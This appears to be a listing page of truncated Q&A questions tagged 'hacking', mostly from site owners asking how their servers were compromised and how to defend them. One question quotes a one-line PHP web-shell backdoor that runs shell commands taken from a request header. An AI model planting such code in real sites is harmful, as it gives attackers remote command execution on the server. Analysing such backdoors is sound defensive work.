Hacking is the violation of server or network security via exploitation of weaknesses in that security.

learn more… | top users | synonyms (1)

4
votes
0answers
145 views

Server hacked - want to run an rsync backup in reverse. Will this work? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY My user account on a shared hosting server got hacked and overwrote every PHP with this at the bottom.... ...
-2
votes
2answers
637 views

apache-memory-hacker-linux

We have a linux server with 4Gb of memory. When we start the system it uses only 435Mb. When we start the apache httpd services it take 1000Mb and subsequently automatically it takes all the memory ...
0
votes
2answers
371 views

Possible hack attack in Ubuntu Server?

I am having a Ubuntu 10.04 Server with Shorewall 4.4.6. For some days, i have been seeing that the logs shorewall.log, kernel.log and syslog getting to huge sizes above 20G per log. It occupied all ...
2
votes
3answers
128 views

Securing a LAMP host from physical data extraction

This is more of a theoretical question and request for advice and pointers than a question about specific software. I have a distro-agnostic Linux machine (meaning I don't really care what to put in ...
-4
votes
1answer
459 views

Have I been compromised? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY Looking thru my logs, I found this: http://paste.u4ik.us/2294$ (The log files are on that paste). Question is, this guy began ...
-2
votes
1answer
85 views

Good tutorial for security on a server [closed]

I previously have had trouble with hackers hacking into servers I was using for web hosting. Does anyone know any good tutorials to prevent it, or perhaps give me some tips on how to increase ...
1
vote
1answer
250 views

Allow nmap advanced scans for a normal user

I want to allow a normal user to run NMAP's advanced scans like XMAS, TCP FIN, TCP NULL scans. Can somebody please tell me how to do that ?? Since it uses raw packets so whether setting the setuid bit ...
-1
votes
2answers
357 views

how to find who is perform malicious activity in shared hosting server

I am a shared webhosting provider, I got a complain: * COMPLAINT * | *.*(server shared ip) | 2011-09-17 20:02:12 | jakarta.dreamhost.com | 1807770 | oscommerce remote upload from ...
0
votes
4answers
181 views

Can MySQL “Query” be exploited (while processing to Server)?

(Not like/about MySQL Injection) I wanna just be confirmed that someone told me a query can be changed (or) modified (by someone intruder/hacker, from middle) while we submitting it. Is it possible? ...
7
votes
2answers
646 views

Dissecting a website attack through a compromised FTP account

My site has been hacked and at this point, I know some details, but I'm at a loss at exactly how it happened or how to prevent it in the future. I need your help in trying to dissect the attack so ...
2
votes
1answer
509 views

Tools to block hack attempts in Apache

Currently I'm using Blockhosts & mod_evasive to "manage" minor attacks & spurious requests, I'm wondering if there is something better/more effective out there. Something that behaves like ...
3
votes
4answers
143 views

Dealing with low level attackers?

I have a small games site with 400 members (~50 active) built around a MySQL database. I'm the sole developer, and I'm an amateur, so I make my fair share of mistakes. To help protect myself, the ...
3
votes
1answer
276 views

Hacking attempt - my server has recently had a hacking attempt. I have the ip address of the attacker

Can I report them to the police ? I am in the UK - is there any type of authority that investigates such matters ?
0
votes
1answer
266 views

mod_proxy security issues

A friend is asking me about mod_proxy modules , They have a server that was recently attacked using mod_proxy and after checking his logs he said he wasn't vulnerable to those attacks since they have ...
5
votes
3answers
886 views

Hacked? How does appending a filename allow access to data on site… see example

Visiting all of the following sends you to the login screen: http://mysite.com/admin/configuration.php http://mysite.com/admin/login.php However if you visit (note the last two portions of the url ...
4
votes
4answers
6k views

.htaccess file hacked, how to prevent this in future? [closed]

The hacker added a code in .htaccess file to redirect all search engine traffic to a malware website. I am now investigating this incident and trying to find out security loop holes. My situation is ...
3
votes
6answers
3k views

I think my server is being hacked. What should I do? [duplicate]

I'm not a server admin and I have very little experience in "debuging" a server. But from looking at my log files, it looks as if I'm being hacked. But I have no clue to what I should do :-/ I was ...
1
vote
1answer
217 views

PHP Backdoor code [closed]

I've found a php backdoor on my host. <? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?> I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that ...
1
vote
2answers
417 views

How to ban potential hacker IP Addresses from Port 80?

I am hosting a bunch of PHP web sites on a web server. While I have taken all precautionary mesaures to protect all ports, Port 80 specific attacks continue. I want to ban any IP Address that taken an ...
4
votes
2answers
708 views

Mac Server Access.log concerns, possibly hacked? (newb sorry)

this is what my web access.log looks like (well a short snippet) 46.4.33.46 - - [20/Jul/2011:11:56:18 +0100] "GET http://allegro.pl/matematyka-wokol-nas-6-zeszyt-cwiczen-czesc-1-2-i1727657348.html ...
1
vote
2answers
72 views

how to prevent attacker search for file in my server

I have many errors in log file like: [Tue Jul 19 09:56:45 2011] [error] [client 61.160.222.90] File does not exist: /var/www/vhosts/xxx.com/httpdocs/xqxsmirserver6.rar [Tue Jul 19 09:56:45 2011] ...
7
votes
2answers
2k views

Bypassing htaccess restrictions?

I found this in my apache access logs access.log:555.555.555.555 - - [05/May/2011:12:12:21 -0400] "GET /somedir/ HTTP/1.1" 403 291 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 ...
1
vote
1answer
752 views

Examining PHP hack script [closed]

I found a number of PHP scripts on a friends webserver which had been loaded by hackers. The actual code was hidden using several layers of encryption as follows. They had a huge string assigned to a ...
0
votes
2answers
243 views

I have being hacked through a virtual server [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY My site has been hacked and all sites on the virtual server have also been hacked. I need to know how they got in. The code they ...
3
votes
1answer
327 views

How did a phisher upload to my server?

My webhost notified me they got a complaint from bank of america that one of my accounts under my reseller (WHM) account was compromised by a phisher. Once the host unsuspended my account I tried to ...
3
votes
3answers
406 views

Anti-DDoS Question [duplicate]

Our company´s main owner (telecon group) wants us to deploy anti-DDoS mechanisms, such as Arbor Pravail, which is a great idea. Although... I have a question... If our main ISP Backbone provider have ...
6
votes
9answers
1k views

Is it worth hiring a hacker to perform some penetration testing on my servers? [closed]

I'm working in a small IT company with paranoid clients, so security has always been an important consideration to us. In the past, we've already mandated penetration testing from two independent ...
4
votes
5answers
3k views

has my server been hacked w00tw00t.at.ISC.SANS.DFind

I'm quite sure my server's been hacked. I'm seeing these entries in my access log as the last two before a series of 500 error messages, It's related to the DB but I haven't found out the exact error ...
1
vote
2answers
618 views

How secure are files hosted on IIS Anonymously with Directory Browsing Disabled?

To elaborate a bit on this point, I'd like to know how secure are documents hosted on an IIS website with the following configuration: IIS Directory Listing Disabled Anonymous Access is Enabled Site ...
0
votes
4answers
74 views

Requesting different websites with IP and headers

Is it possible to lure a website from the web server without relying on DNS records? Windows IIS WebServer was working with headers, Linux is working with virtual server names etc. Imagine this ...
4
votes
2answers
233 views

Security Flaw - Report it?

This may be a community wiki, I'm not sure. Imagine a scenario where you discover a security flaw in a company's website while browsing the web. Something involving a change to URL parameters that ...
0
votes
2answers
199 views

Did My Server Get Attacked?

I logged into my server today and saw the following unrecognized code at the top of my directory browse window: document.writeln("");var el = ...
-1
votes
3answers
354 views

To what extent can you secure a system? [closed]

To what extent can you filter/firewall for suspicious traffic or lock down a system? If you have everything up to date and secure, what can you do to protect against a 0 day? I assume an IDS might ...
4
votes
2answers
238 views

What can I do with an IP address of a visitor that tried to access a shell exploit that was planted on my system?

My website was exploited (don't worry about how) and the result was there were several WebShells installed in various locations. The exact web shell is just like the one listed in this question here ...
6
votes
3answers
391 views

Somebody eating all our bandwidth, what should I do?

OK, this is frustrating, my site got thousands of page views/connections in the last 3 days and finally we ran out of monthly bandwidth. We bought more bandwidth and closed the site for maintenance. ...
2
votes
4answers
2k views

front page keeps getting hacked

A similar attack keeps happenning on two of my sites (one is running latest Joomla, one is not). It usually says "hacked by general" or something similar. When I check the files on one of them, ...
-3
votes
2answers
359 views

Is running this SED command safe? [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY Hello, my whole site got hacked possibly by a wordpress exploit, i am in a hurry to explain in detail, but PLEASE do me a favor and ...
1
vote
1answer
167 views

Removing redirection to antivirus in a hacked web page [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY After some sort of hacking, the main URL of my website now redirects to a fake antivirus page. How can I remove this thing?
2
votes
5answers
2k views

Finding out who hacked my site [duplicate]

Possible Duplicate: My server's been hacked EMERGENCY All Joomla! sites hosted on a single server of mine were hacked and had the following code injected into the index.php files ...
1
vote
3answers
228 views

What can be causing the following hack?

Server information: Windows XP Service Pack 2 Microsoft-IIS/6.0 Generally speaking the server is out of my countrol (for the time being.) I can request patches that are missing but ...
3
votes
3answers
1k views

Amazon EC2 instance possibly Compromised

I have an EC2 instance that may have been compromised. The instance responds far too slowly as of last week and recently I've checked the httpd access_logs and they are in excess of 11Gigs, despite ...
4
votes
6answers
8k views

How did they hack my Wordpress sites

I have many wordpress sites hosted in a Bluehost shared hosting environment. Recently when I searched one of the sites in Google, it said "The site might be compromised". I got alerts from Google ...
3
votes
4answers
384 views

Web server minimum password security based on 100 attempts per second

This insightful article proposes that passwords don't need to be very secure: http://www.baekdal.com/tips/password-security-usability? There is one specific line in here that I find troubling: ...
-2
votes
3answers
353 views

Server hacked with javascript

eOHello. I just got hacked! The hacker injected code into my website files on my server. Server: Debian Lenny, Apache 2.2, PHP 5.2, MySQL 5 EDIT: Apparently my question wasn't deemed good enhough ...
5
votes
1answer
3k views

How do I decode this WordPress hack? [closed]

I found an offending string in a client's WordPress-powered website, and I just want to know what it does. ...
0
votes
2answers
424 views

How is it possible that multiple computers on a network are being maliciously redirected

Intermittently, and not at the same time, computers connected the network will redirect to Stop-online-piracy.com (may not want to go there). The domain responds with the source: <div ...
2
votes
2answers
1k views

Ubuntu Server hack

I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history ...
2
votes
3answers
600 views

Discover LAN's IP range, netmask & gateway?

If I am plugged into a network with no DHCP and no reachable 'sample' hosts where I can peek in the configs. how do I discover/guess the network IPs range, netmask? Gateway IP address? P.S. Don't ...
0
votes
3answers
340 views

DDoS Network Protection Devices

In our office we're running a Cisco ASA 5510 firewall. Is this device enough if we want to protect against DDoS attacks? What devices (like cisco guard, etc) do you recommend and what's the user ...
2
votes
4answers
3k views

My computer is sending ICMP packets to arbitrary destinations

My computer is sending ICMP packets to arbitrary destinations. I can't understand the reason. Dump of one of the packet is : Internet Control Message Protocol Type: 3 (Destination unreachable) ...